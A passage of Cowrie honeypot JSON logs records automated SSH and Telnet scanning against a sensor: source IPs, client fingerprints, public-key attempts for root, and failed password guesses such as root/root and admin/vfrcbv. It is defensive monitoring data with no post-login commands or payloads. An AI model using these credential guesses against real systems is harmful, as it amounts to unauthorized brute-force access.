AAAAB3NzaC1yc2EAAAADAQABAAACAQC4kTju/fh2VU6mmavlaXkHcVNtFb4tuMXnvmJqFaA3h7PhtfdV+4cLCF5TejYoL1emp0nzOR2H15WHni2ZvbiwJSRN4Mw0OJi2HtuIbjZK2puZT69Kgd/5h6w6vTq8du1JNHpxsX0TbxjuN7lVyTy/ME1r6oLANyTyzXSzIpFlqn6ft42AshVY5xGjqJiXGbLCyDOW0dE3oFikRQRcHpD4xq326vgyfnlUjv4RNPN4KuLOqUgm0UOa4UOke5HDKr7vX8bctrhfifCzdtyon65xe88J3Z8JokDmtW7+PnBBpdqr0QUB+/j0ivo70Hy8tqdphDyztb6/JQypbTG3n1Ipx5cgwryI1fcGKcTU1ge2NEQG+37krCNFV3z3ukmvX7WraHCyZ7xy3W4CrgkSbXqMgaZ1yOaTwFcyTNc+CD/CXjG5J87XexFuoWMn5M3ifLuiGcDELmQYURuZk0qAevX5VFRVT/i3FDxfYqYHuluIu1JeYzKEC7yJ7towud8whM/QGOHTGguo6hlXgac01D4Ok8LTo8JsL5nayrTgPWSc4oER62dmc+SCbnMvvmlMTACFJaATGSZI40aablA710AjGDw+3M4qjYTvHNYci68ZByjXOjDyyyC9FVon/w/pQ916ouZAmOGY/6R2vsyAjAUaC7cN0qqsHaHNpTo/FbeTow==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:15.447658Z","src_ip":"176.117.72.74","session":"f52fbdeb0f81","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:c5:f2:ed:f1:f0:3f:1a:e6:b4:da:25:58:92:1d:2a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAvWH5DacAI4giC6nGl/q1XHRIeLJb6Jf20oufGuwmI+","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 41:c5:f2:ed:f1:f0:3f:1a:e6:b4:da:25:58:92:1d:2a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:15.532996Z","src_ip":"176.117.72.74","session":"f52fbdeb0f81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:c5:f2:ed:f1:f0:3f:1a:e6:b4:da:25:58:92:1d:2a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAvWH5DacAI4giC6nGl/q1XHRIeLJb6Jf20oufGuwmI+","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:15.537269Z","src_ip":"176.117.72.74","session":"f52fbdeb0f81","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:d5:db:ac:d2:65:f1:d2:f7:0c:2c:a1:d0:0d:92:2e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII4EN7ioy7oV+pAqG04YfIzUr2vpWxFmGX5WWw4U3ahc","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ab:d5:db:ac:d2:65:f1:d2:f7:0c:2c:a1:d0:0d:92:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:15.622101Z","src_ip":"176.117.72.74","session":"f52fbdeb0f81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:d5:db:ac:d2:65:f1:d2:f7:0c:2c:a1:d0:0d:92:2e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII4EN7ioy7oV+pAqG04YfIzUr2vpWxFmGX5WWw4U3ahc","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:15.626005Z","src_ip":"176.117.72.74","session":"f52fbdeb0f81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:15.710096Z","src_ip":"176.117.72.74","session":"f52fbdeb0f81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":27106,"dst_ip":"10.17.0.5","dst_port":23,"session":"561481c962b9","protocol":"telnet","message":"New connection: 212.55.149.117:27106 (10.17.0.5:23) [session: 561481c962b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:27.859421Z"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":54846,"dst_ip":"10.17.0.5","dst_port":22,"session":"4138ecd43274","protocol":"ssh","message":"New connection: 151.80.141.196:54846 (10.17.0.5:22) [session: 4138ecd43274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:39.003630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:39.008610Z","src_ip":"151.80.141.196","session":"4138ecd43274","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:39.087228Z","src_ip":"151.80.141.196","session":"4138ecd43274","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.46.1.73","src_port":51050,"dst_ip":"10.17.0.5","dst_port":22,"session":"17957cdb33d5","protocol":"ssh","message":"New connection: 189.46.1.73:51050 (10.17.0.5:22) [session: 17957cdb33d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:39.166468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:39.228515Z","src_ip":"189.46.1.73","session":"17957cdb33d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:39.370316Z","src_ip":"189.46.1.73","session":"17957cdb33d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lmsftp","password":"lmsftp","message":"login attempt [lmsftp/lmsftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:39.421491Z","src_ip":"151.80.141.196","session":"4138ecd43274","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"vfrcbv","message":"login attempt [admin/vfrcbv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:40.017161Z","src_ip":"189.46.1.73","session":"17957cdb33d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:40.501610Z","src_ip":"151.80.141.196","session":"4138ecd43274","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:41.216140Z","src_ip":"189.46.1.73","session":"17957cdb33d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.159.91","src_port":33110,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5350e39cf23","protocol":"ssh","message":"New connection: 103.147.159.91:33110 (10.17.0.5:22) [session: c5350e39cf23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:47.777594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:47.781687Z","src_ip":"103.147.159.91","session":"c5350e39cf23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:48.021279Z","src_ip":"103.147.159.91","session":"c5350e39cf23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hldmserver","password":"hldmserver","message":"login attempt [hldmserver/hldmserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:49.000788Z","src_ip":"103.147.159.91","session":"c5350e39cf23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:50.240076Z","src_ip":"103.147.159.91","session":"c5350e39cf23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":52236,"dst_ip":"10.17.0.5","dst_port":22,"session":"7edae1515bf7","protocol":"ssh","message":"New connection: 190.242.109.42:52236 (10.17.0.5:22) [session: 7edae1515bf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:05.576632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:05.581918Z","src_ip":"190.242.109.42","session":"7edae1515bf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:05.673860Z","src_ip":"190.242.109.42","session":"7edae1515bf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"22222222","message":"login attempt [ubuntu/22222222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:06.068366Z","src_ip":"190.242.109.42","session":"7edae1515bf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:07.161610Z","src_ip":"190.242.109.42","session":"7edae1515bf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.85.94","src_port":52632,"dst_ip":"10.17.0.5","dst_port":22,"session":"682b1b0b1882","protocol":"ssh","message":"New connection: 107.173.85.94:52632 (10.17.0.5:22) [session: 682b1b0b1882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:08.312779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:08.322796Z","src_ip":"107.173.85.94","session":"682b1b0b1882","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:08.345007Z","src_ip":"107.173.85.94","session":"682b1b0b1882","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:08.473963Z","src_ip":"107.173.85.94","session":"682b1b0b1882","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:09.506576Z","src_ip":"107.173.85.94","session":"682b1b0b1882","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.85.94","src_port":60868,"dst_ip":"10.17.0.5","dst_port":22,"session":"e97c3af69c52","protocol":"ssh","message":"New connection: 107.173.85.94:60868 (10.17.0.5:22) [session: e97c3af69c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:09.522032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:09.550238Z","src_ip":"107.173.85.94","session":"e97c3af69c52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:09.554578Z","src_ip":"107.173.85.94","session":"e97c3af69c52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:09.731267Z","src_ip":"107.173.85.94","session":"e97c3af69c52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:10.758637Z","src_ip":"107.173.85.94","session":"e97c3af69c52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.85.94","src_port":60882,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f63ca1de10f","protocol":"ssh","message":"New connection: 107.173.85.94:60882 (10.17.0.5:22) [session: 4f63ca1de10f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:10.780874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:10.801876Z","src_ip":"107.173.85.94","session":"4f63ca1de10f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:10.810206Z","src_ip":"107.173.85.94","session":"4f63ca1de10f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"IdcOffer.com","message":"login attempt [root/IdcOffer.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:10.973830Z","src_ip":"107.173.85.94","session":"4f63ca1de10f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00187230110168,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:11.034195Z","src_ip":"212.55.149.117","session":"279a70d1ab83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:12.014655Z","src_ip":"107.173.85.94","session":"4f63ca1de10f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.85.94","src_port":60888,"dst_ip":"10.17.0.5","dst_port":22,"session":"24961b1cd821","protocol":"ssh","message":"New connection: 107.173.85.94:60888 (10.17.0.5:22) [session: 24961b1cd821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:12.053087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:12.057424Z","src_ip":"107.173.85.94","session":"24961b1cd821","protocol":"ssh"}
